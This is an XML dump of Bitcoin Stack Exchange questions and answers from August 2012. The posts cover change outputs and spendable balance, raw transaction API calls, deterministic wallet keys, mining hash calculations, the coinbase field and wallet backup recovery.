  <row Id="4559" PostTypeId="2" ParentId="4556" CreationDate="2012-08-26T13:21:52.497" Score="3" Body="&lt;p&gt;In version 0.7 you will be able to send it to bitcoind through a &quot;sendrawtransaction&quot; &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON API call&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-26T13:21:52.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4560" PostTypeId="1" AcceptedAnswerId="4561" CreationDate="2012-08-27T01:07:27.087" Score="5" ViewCount="5728" Body="&lt;p&gt;With some of the clients I use regularly (Multibit, Bitcoin for Android), I've noticed that, after I send bitcoins to an address, I have 0 BTC available to spend despite having perhaps a several bitcoin balance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking more closely at the transaction details on Blockchain.info or Blockexplorer.com, I observe that the client sent my entire balance back to myself in the same transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my balance in my wallet before the transaction is 1 BTC. I send 0.5 BTC to address C from my wallet, plus 0.0005 BTC for transaction fees. I should have 0.4995 available immediately to spend on another transaction. However, the clients show 0 BTC available, but a balance of 0.4995 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at the transaction, I see two input addresses, addresses A and B. The outputs are 0.5 BTC to address C, the destination of my payment, and 0.4995 to address B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why then do I have 0 BTC available when I clearly should have 0.4995 BTC available?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="516" LastEditDate="2012-08-27T01:30:36.420" LastActivityDate="2021-01-17T00:19:12.957" Title="After sending some bitcoins, why do I have zero available to spend when I clearly didn't send my entire balance?" Tags="|transactions|sending|balance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4561" PostTypeId="2" ParentId="4560" CreationDate="2012-08-27T01:07:27.087" Score="9" Body="&lt;p&gt;In this scenario, neither address A nor address B had a sufficient balance to pay 0.5 BTC by itself. The two together &lt;em&gt;did&lt;/em&gt; have enough. So, the clients are intelligent enough combine the amounts of two addresses together in order to meet the desired transaction amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the combination has the effect of sending bitcoins to yourself as &quot;change&quot; in the transaction. In this scenario, all of the available balance was split between address A and address B. In combining those in order to satisfy the payment to C, some was consolidated as &quot;change&quot; into address B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it mathematically, as well. This shows the equilibrium, from the point of view of the accounts you control.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;balance(A) + balance(B) = payment_to(B) + payment_to(C) + transaction_fee(0.0005)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;balance(A) + balance(B) - payment_to(C) - transaction_fee(0.0005) = payment_to(B) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &lt;code&gt;payment_to(B)&lt;/code&gt; is the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, because of the number of confirmations the clients wait before allowing one to spend incoming transactions, the balance is present but unavailable to spend for several minutes, or as much as hour or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clients &lt;em&gt;should&lt;/em&gt; handle this better by warning if transaction about to be sent will create this confusing situation.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-08-27T01:07:27.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4562" PostTypeId="2" ParentId="4560" CreationDate="2012-08-27T03:04:44.680" Score="5" Body="&lt;p&gt;Say your 1 BTC balance was the output of a single transaction. To pay someone .5 BTC, you have to claim the output of that transaction. Then you have to pay the .0005 BTC fee. That leaves .4995 BTC which need to be left as an unclaimed transaction output for you to spend later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To perform another transaction, you need to claim that .4995 BTC output from that previous transaction. But that .4995 BTC hasn't been confirmed yet. So it's not spendable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin system deals with transactions which have inputs and outputs. Things like &quot;accounts&quot; and &quot;balances&quot; are just ways the client makes the system easier for humans to understand. They're not part of the protocol and aren't how the system works internally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to leave part of an output. Either a transaction claims it or it doesn't. And transactions you sent to yourself are no different from transactions others sent you. (In fact, in general, it's impossible for outsiders to tell which is the change coming back to you and which is the payment to someone else. They're both just transaction outputs.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-08-27T03:46:32.647" LastActivityDate="2012-08-27T03:46:32.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4564" PostTypeId="2" ParentId="4557" CreationDate="2012-08-27T05:28:46.493" Score="1" Body="&lt;p&gt;Generally, the public keys are generated from a public generator and the private keys are generated from the corresponding private generator, stored on a highly-secure machine. No communication is permitted to the machine holding the private generator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do have to know that Bitcoin keys can be generated by generators. The public generator generates a series of public keys and addresses while the corresponding private generator generates the corresponding series of private keys. There is no way to determine the private generator given the public generator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flow goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A new public address is needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The next public address is assigned, using the public generator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The machine holding the private generator is already watching every payment and will detect any payment to a key generatable from its private generator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When a deposit is made, the private generator machine detects the deposit and issues a transaction to transfer the funds to an appropriate hot or cold wallet. (Or waits until the hot wallet is low, or whatever it's programmed to do.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The regular machine also notices the deposit (because it knows the public keys) and credits the user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The math is (oversimplified!):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private generator: &lt;strong&gt;P&lt;/strong&gt; (a random 256-bit number)&lt;br&gt;&#xA;Public generator: &lt;strong&gt;GxP&lt;/strong&gt; (P times the generator constant, an EC point)&lt;br&gt;&#xA;Account ID: &lt;strong&gt;I&lt;/strong&gt; (an incrementing number)&lt;br&gt;&#xA;Account public key: &lt;strong&gt;GxHash(I) + GxP&lt;/strong&gt; (EC point)&lt;br&gt;&#xA;Account private key: &lt;strong&gt;P+Hash(I)&lt;/strong&gt; (256-bit number)&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works because &lt;strong&gt;Gx(P + Hash(i))&lt;/strong&gt; = &lt;strong&gt;GxHash(I) + GxP&lt;/strong&gt;&lt;br&gt;&#xA;So the account private key is the private key corresponding to the account public key. The account public key can be generated from the account ID and the public generator. The account private key can be generated from the account ID and the private generator. No private keys can be generated without the private generator.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-08-27T05:34:17.190" LastActivityDate="2012-08-27T05:34:17.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4565" PostTypeId="1" AcceptedAnswerId="4566" CreationDate="2012-08-27T07:05:58.803" Score="8" ViewCount="13992" Body="&lt;p&gt;I'm toying with the idea of starting to mine, and was wondering how to calculate how many hashes on average must be tried before one will &quot;hit&quot; a valid block?  I'm talking about a single user (not a pool) using one rig.&lt;/p&gt;&#xA;" OwnerUserId="1807" LastEditorUserId="5406" LastEditDate="2016-03-14T13:22:16.417" LastActivityDate="2022-04-03T20:39:25.083" Title="Calculating average number of hashes tried before hitting a valid block" Tags="|difficulty|mining-profitability|hashpower|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4566" PostTypeId="2" ParentId="4565" CreationDate="2012-08-27T09:14:09.563" Score="10" Body="&lt;p&gt;Well, currently the difficulty is 2,440,643.  There will be (difficulty * 2^32) (roughly) hashes per block.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that means there are (2,440,643 * 2^32) hashes that must occur before one block is solved.  That's is across the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A block is solved in ten minutes (on average) or 600 seconds.&lt;br&gt;&#xA;So the network is hashing (2,440,643 * 2^32) / 600  ~= 17 Thash/s.  (This calculation is performed and the result is displayed on BitcoinWatch.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say your dual 5970 rig gets 1.4 Ghash/s.  That is 17,770 Ghash/s / 1.4 Ghash/s = 12,693.  That is the number of rigs, if all were exactly like yours, operating today.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if 12,693 rigs can do the work in 10 minutes, one solo rig will tka 12,693 * 10 minutes, or 126,930 minutes.    With 1,440 minutes in a day, that means it will be about 88 days before you will have a 50% chance of solving a block operating solo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that was the long way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;noreferrer&quot;&gt;http://tpbitcalc.appspot.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For Hash Rate, plunk in 1400 (1.4 Ghash/s) and click Calculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then, how many hashes is that?  There are 86,400 seconds in a day and you have to has for 88 days.  86,400 * 88 = 7,603,200 seconds.  At 1.4 Ghash/s X 7,603,200 seconds means you hashed 10,644 Thashes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is: 10,644,000,000,000,000 hashes.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="85" LastEditDate="2012-08-27T10:23:01.107" LastActivityDate="2012-08-27T10:23:01.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4567" PostTypeId="1" AcceptedAnswerId="4568" CreationDate="2012-08-27T11:29:58.903" Score="-5" ViewCount="2272" Body="&lt;p&gt;Namecoin, Devcoin, Litecoin, Liquidcoin, Solidcoin, I0coin, Ixcoin... Which of them is the best alternative to BitCoin, especially from a fledgling miner's pov (ie. I'd like to mine some coins, but have hw with very limitied abilities to do it)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from &quot;ease of mining&quot; - both in regards of difficulty and the blocks/timeunit - other concerns to concider may be:&#xA;-Exchange-rate (to USD or BitCoins)&#xA;-Deployment (are there actually anybody using it, is it accepted for payment somewhere)&lt;/p&gt;&#xA;" OwnerUserId="1807" LastEditorUserId="5406" LastEditDate="2016-03-31T10:28:45.707" LastActivityDate="2016-03-31T10:28:45.707" Title="What is the &quot;best&quot; BitCoin alternative? Especially from the pov of mining" Tags="|alternatives|mining-profitability|" AnswerCount="1" CommentCount="2" ClosedDate="2012-08-28T06:12:18.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="4568" PostTypeId="2" ParentId="4567" CreationDate="2012-08-27T12:29:40.043" Score="2" Body="&lt;p&gt;Probably the best alternative to Bitcoin would be gold. It`s fairly popular, valuable and finding some small amounts for a beginning miner should be fairly easy in some parts. It would probably require you to move closer to some rivers though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All joking aside, you should look into using some mining pool with an option of merged mining. If mining some AltCoin would be more profitable than Bitcoin, a lot of people would switch by now and drive the price down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also look into using your mining power in alternative ways. I'm assuming you have a GPU mining rig. In that case, you can look into such things as mining vanity addresses for Bitcoins (for example using my &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;Vanity Pool&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, Bitcoin is probably the main way to go nowadays, so you should concentrate on that.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-27T12:29:40.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4569" PostTypeId="2" ParentId="4560" CreationDate="2012-08-27T16:08:17.820" Score="2" Body="&lt;p&gt;This is the explanation I have in the MultiBit help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does &quot;Available to spend&quot; mean ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone sends you bitcoin you receive a notification within a few seconds. You cannot however spend this money immediately. The computers in the bitcoin network group transactions together and confirm them in 'blocks'. These are produced on average every ten minutes. Once a block is produced with your transaction in it the bitcoin is then available to spend. You can see this on the transactions screen once the status icon is no longer empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when you send a payment to someone, you often end up being sent change back. This is like giving someone a 'twenty' and getting 'ten' in return in a shop. Change is sent back to you when the next block is produced and until then you cannot spend the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total balance shown (the large number next to the gold coins) is the total amount of bitcoin you have in your wallet INCLUDING unconfirmed receipts and your change. The amount 'Available to spend' is the amount in your wallet that is confirmed and not involved in a current spend. At any given moment, you can only spend up to the 'Available to spend' amount.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-08-27T16:08:17.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4570" PostTypeId="2" ParentId="4059" CreationDate="2012-08-27T21:37:57.917" Score="2" Body="&lt;p&gt;Another Point&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Less Decimals (reduces database size)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Money is created by participating in the network, rather than performing the calculations (no exact explanation was given how this would prevent abuse)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will clarify your point.&#xA;You will still need to do some basic calculations to encrypt new coins.  It is basically nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you gain timekoins by participating in the network.  But, generation rate is based on uptime.  Once, you get elected to be allowed to generate you will only be able to generate one timekoin every 5 minutes (cycle).  After one week of you will be able to generate 2 coins every cycle.  After two weeks you will be able to generate 3 coins per cycle.  Timekoin rewards people who have higher uptime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are offline for two hours you will be deleted from the logs and you'll have to get elected again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Protection against botnet&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lots of people will want to get elected at same time&lt;/li&gt;&#xA;&lt;li&gt;they'll have to wait&lt;/li&gt;&#xA;&lt;li&gt;After that wait they'll produce at a slow rate.&lt;/li&gt;&#xA;&lt;li&gt;Most bots will not be online for 1 week+ straight.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1809" LastEditorUserId="940" LastEditDate="2012-08-31T19:46:31.257" LastActivityDate="2012-08-31T19:46:31.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4571" PostTypeId="1" CreationDate="2012-08-27T21:49:53.350" Score="38" ViewCount="13759" Body="&lt;p&gt;I searched the bitcoin wiki and found references to coinbase, but no clear cut explanation of what exactly it is.  I know that miners can tag their coinbases (that is how some sites tell who mined a block).&lt;/p&gt;&#xA;" OwnerUserId="1377" LastEditorUserId="5406" LastEditDate="2015-01-12T22:49:43.300" LastActivityDate="2016-06-27T13:12:23.567" Title="What is the coinbase?" Tags="|protocol|mining-reward|coinbase-transaction|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4572" PostTypeId="2" ParentId="4571" CreationDate="2012-08-27T23:11:52.103" Score="32" Body="&lt;p&gt;The term &quot;coinbase&quot; is used to mean many different things. But the two you're probably asking about are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The &quot;coinbase transaction&quot; is the transaction inside a block that pays the miner his block reward.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside the coinbase transaction is a field that is called the &quot;coinbase&quot;. It's the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Generation&quot;&gt;generation transaction's&lt;/a&gt; equivalent of a scriptsig. Since it doesn't claim any existing outputs, it needs no normal scriptsig. It's basically just a random value that the miner can use as an additional nonce. &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0034&quot;&gt;BIP 34&lt;/a&gt; changes this a bit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-08-27T23:11:52.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4573" PostTypeId="1" AcceptedAnswerId="4574" CreationDate="2012-08-28T00:34:19.087" Score="19" ViewCount="1637" Body="&lt;p&gt;Suppose that a miner for some reason has the generation transaction of their blocks not take all the possible coins. This can happen for a variety of reasons, almost all of which are bugs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An off-by-one error makes them think that their block should generate only 25 BTC when we're still at 50 BTC per block&lt;/li&gt;&#xA;&lt;li&gt;Some bug prevents them from noticing a transaction fee; perhaps they were mining and updating the block in parallel using non-thread-safe code.&lt;/li&gt;&#xA;&lt;li&gt;Depending on the answer to this question, they may actually decide to do this on purpose (though I can't think of an answer that would cause this in the vast majority of cases)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can think of a few possible ways the network would respond, and none really seem ideal.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The block could be rejected, just as it would be if it had too much generated.&lt;/li&gt;&#xA;&lt;li&gt;The block could be accepted and the extra coins available for whoever mines the next block (in which case, somebody may do this on purpose to encourage others to mine).&lt;/li&gt;&#xA;&lt;li&gt;The block could be accepted and the extra coins lost.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What actually happens?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="5406" LastEditDate="2016-02-15T18:10:58.307" LastActivityDate="2024-03-24T14:54:06.523" Title="What happens when a miner does not claim all fees/generated coins?" Tags="|transaction-fees|block|mining-reward|coinbase-transaction|consensus|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4574" PostTypeId="2" ParentId="4573" CreationDate="2012-08-28T01:12:20.053" Score="24" Body="&lt;p&gt;The block is accepted, and the coins are lost. Poor miner.&lt;/p&gt;&#xA;&lt;p&gt;Here is a link to the part of the 0.6.3 source which checks this: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.6.3/src/main.cpp#L1362&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.6.3/src/main.cpp#L1362&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also, this has effectively happened before; block #&lt;a href=&quot;https://mempool.space/block/0000000000004c78956f8643262f3622acf22486b120421f893c0553702ba7b5&quot; rel=&quot;nofollow noreferrer&quot;&gt;124724&lt;/a&gt; claimed one satoshi less it than could have.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="134686" LastEditDate="2022-05-27T15:53:56.383" LastActivityDate="2022-05-27T15:53:56.383" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="4575" PostTypeId="2" ParentId="3702" CreationDate="2012-08-28T04:44:52.600" Score="3" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Transaction_Exchange&quot; rel=&quot;nofollow&quot; title=&quot;Relevant wiki page&quot;&gt;Satoshi client transaction exchange behavior&lt;/a&gt;, this does not seem to be the case. However, that page isn't written well.  Looking at the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp&quot; rel=&quot;nofollow&quot; title=&quot;main.cpp file, which contains the relevant functions&quot;&gt;actual source code&lt;/a&gt;, I cannot see any special behavior for transactions to an address in your wallet, but I do see special behavior for transactions from such an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, I do not think the behavior you observed is actually valid, and is more likely a pattern you noticed because human beings are too good at noticing patterns for our own good.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2012-08-28T04:44:52.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4576" PostTypeId="2" ParentId="3397" CreationDate="2012-08-28T05:06:50.903" Score="1" Body="&lt;p&gt;Yes; many pools only include transactions based on fees and/or whether the transactions have standard forms. Most pool operators require that transactions have certain fees based on the size (in bytes, not BTC) of the transaction, and I believe that most require the transactions to be in a standard &quot;Pay to address(es)&quot; or &quot;Pay to IP(s)&quot; form. &lt;a href=&quot;http://eligius.st/wiki/index.php/Eligius%3aAbout&quot; rel=&quot;nofollow&quot; title=&quot;Eligius Pool's Policies&quot;&gt;Eligius&lt;/a&gt;, for example, generally includes transactions if they have 40.96 &amp;micro;BTC of fees per 512 bytes of transaction, but it could be more or less if they think the transaction seems like &quot;spam&quot; or you make arrangements with the pool operator.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2012-08-28T05:06:50.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4577" PostTypeId="2" ParentId="4197" CreationDate="2012-08-28T05:55:00.513" Score="2" Body="&lt;p&gt;With Google Authenticator, you scan a barcode into your phone and it generates a temporary 6-digit key every minute, regardless of whether the app is open or not. It is not limited to one person, just to one account. These codes rely on times being in sync so that when an authenticator code expires, it expires on the site as well. Most use two protocols - HOTP and TOTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highlights from this answer: &lt;a href=&quot;https://security.stackexchange.com/a/35159&quot;&gt;https://security.stackexchange.com/a/35159&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOTP = Client and server share a counter, when code generated, timer increments, producing a new one-time login code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOTP = HOTP except the counter is replaced by the current time. So long as the system times are in sync, both the client and the server will be on the same page as far as what 2FA code is currently the correct one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If multiple people scan this barcode, they will all generate the same keys. Thus, all you need to do is have both people present when setting up two-step authentication (or save the barcode if they have incompatible schedules, but be sure to shred it later), and they will both be able to access the account whenever they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to best OpSec practices, it is best to have separate 2FA keys, or use an alternative method, such as key-pair authentication where each user has their own key to access the server. This is better for auditing purposes where you can determine more easily the difference between different users, especially if one user decides to do something malicious using a shared authentication code.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="101261" LastEditDate="2019-12-24T08:53:34.333" LastActivityDate="2019-12-24T08:53:34.333" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="4578" PostTypeId="2" ParentId="4197" CreationDate="2012-08-28T11:28:55.667" Score="0" Body="&lt;p&gt;With Mt.Gox you can add multiple authenticators; while I'm not sure if you can add two copies of the same type of authenticator, it is worth a try.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-08-28T11:28:55.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4579" PostTypeId="2" ParentId="3487" CreationDate="2012-08-28T11:33:23.893" Score="1" Body="&lt;p&gt;Network issues were preventing this from completing. &lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2012-08-28T11:33:23.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4580" PostTypeId="1" CreationDate="2012-08-28T15:27:36.363" Score="4" ViewCount="321" Body="&lt;p&gt;I would want to force bitcoind to include a specific transaction as an input of another transaction. This is so as to prevent people front wanting to launch a double-spend attack on the website. The method is similar to the one used by &lt;a href=&quot;http://www.satoshidice.com/bits.php&quot; rel=&quot;nofollow&quot;&gt;SatoshiDice&lt;/a&gt;. How can I accomplish this task with the standard client?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-29T04:57:20.747" Title="How to force bitcoind to include a specific transaction as an input of another transaction?" Tags="|transactions|bitcoind|doublespend|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4581" PostTypeId="2" ParentId="4580" CreationDate="2012-08-28T16:20:53.740" Score="6" Body="&lt;p&gt;This will be possible using the 'raw transaction interface' that was added recently and scheduled to be part of the 0.7.0 release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;listunspent&lt;/code&gt; you can request a list of available coins sent to a particular (wallet) address, and with &lt;code&gt;createrawtransaction&lt;/code&gt; you can build a transaction that consumes specified coins. Finally, &lt;code&gt;sendrawtransaction&lt;/code&gt; can be used to broadcast a prepared raw transaction to the network.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-08-28T16:20:53.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4584" PostTypeId="2" ParentId="2743" CreationDate="2012-08-29T16:02:29.423" Score="4" Body="&lt;p&gt;This will be the first site to get under attack by the governments when they start their attack on Bitcoin and you will lose all your deposits. :(&lt;/p&gt;&#xA;" OwnerUserId="1815" LastActivityDate="2012-08-29T16:02:29.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4585" PostTypeId="1" CreationDate="2012-08-30T04:20:45.440" Score="12" ViewCount="52868" Body="&lt;p&gt;Although I do have a backed up wallet file, I seem to also have a second bitcoin receiving address, which doesn't seem to correspond to it. Is there a way to recover any coins associated with that receiving address, or are the coins lost forever?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="516" LastEditDate="2012-08-30T04:40:48.600" LastActivityDate="2015-11-23T22:35:00.623" Title="If I've lost my wallet, but know my bitcoin receiving address, can I get my bitcoins back?" Tags="|wallet|backup|loss|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4586" PostTypeId="1" CreationDate="2012-08-30T04:32:35.480" Score="8" ViewCount="1033" Body="&lt;p&gt;I have a wallet file I backed up June 2011, and has been offline for over a year now. When I copied it back into where the files are stored with the official client, it says my balance is 0, with no transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it take a long time for my balance &amp;amp; transactions to get updated correctly, or is my wallet considered corrupted, and the coins lost forever?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2013-01-31T16:14:06.963" Title="Is there a limit to how long a wallet can be offline?" Tags="|wallet|wallet.dat|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4587" PostTypeId="2" ParentId="4585" CreationDate="2012-08-30T04:37:59.807" Score="9" Body="&lt;p&gt;You can't get your bitcoins with just the receiving address (if that could be done, they could easily be stolen), so your only chances of retrieving them are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If they're stored in the wallet file you have backed up, then you can use that&lt;/li&gt;&#xA;&lt;li&gt;Somehow recovering the original wallet file, which is a data recovery exercise. This might be possible in the case of a failure or deletion of a hard disk, or a deletion from an SD card/memory stick&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-08-30T04:37:59.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4588" PostTypeId="2" ParentId="4586" CreationDate="2012-08-30T05:03:35.350" Score="7" Body="&lt;p&gt;Any unspent bitcoins against addresses in your old wallet should be retrievable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client won't show transactions that haven't been downloaded to your copy of the blockchain yet. There should be an icon in the lower right corner of the Bitcoin-QT client that indicates progress on downloading the blockchain. It can take a few hours (there's around 2.5GB to download, and it downloads them slower than you'd expect because the client verifies the blocks as it goes).&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-08-30T20:50:21.697" LastActivityDate="2012-08-30T20:50:21.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4589" PostTypeId="2" ParentId="4585" CreationDate="2012-08-30T07:42:40.587" Score="6" Body="&lt;p&gt;It sounds like you have an old wallet backup that does not have the private key to the public address you are looking for. You are probably in the realm of data recovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a blog article that might help: &lt;a href=&quot;http://gary-rowe.com/agilestack/2012/08/17/how-to-recover-your-bitcoins-from-a-failed-hard-drive/&quot; rel=&quot;nofollow&quot;&gt;http://gary-rowe.com/agilestack/2012/08/17/how-to-recover-your-bitcoins-from-a-failed-hard-drive/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2012-09-03T22:16:52.713" LastActivityDate="2012-09-03T22:16:52.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
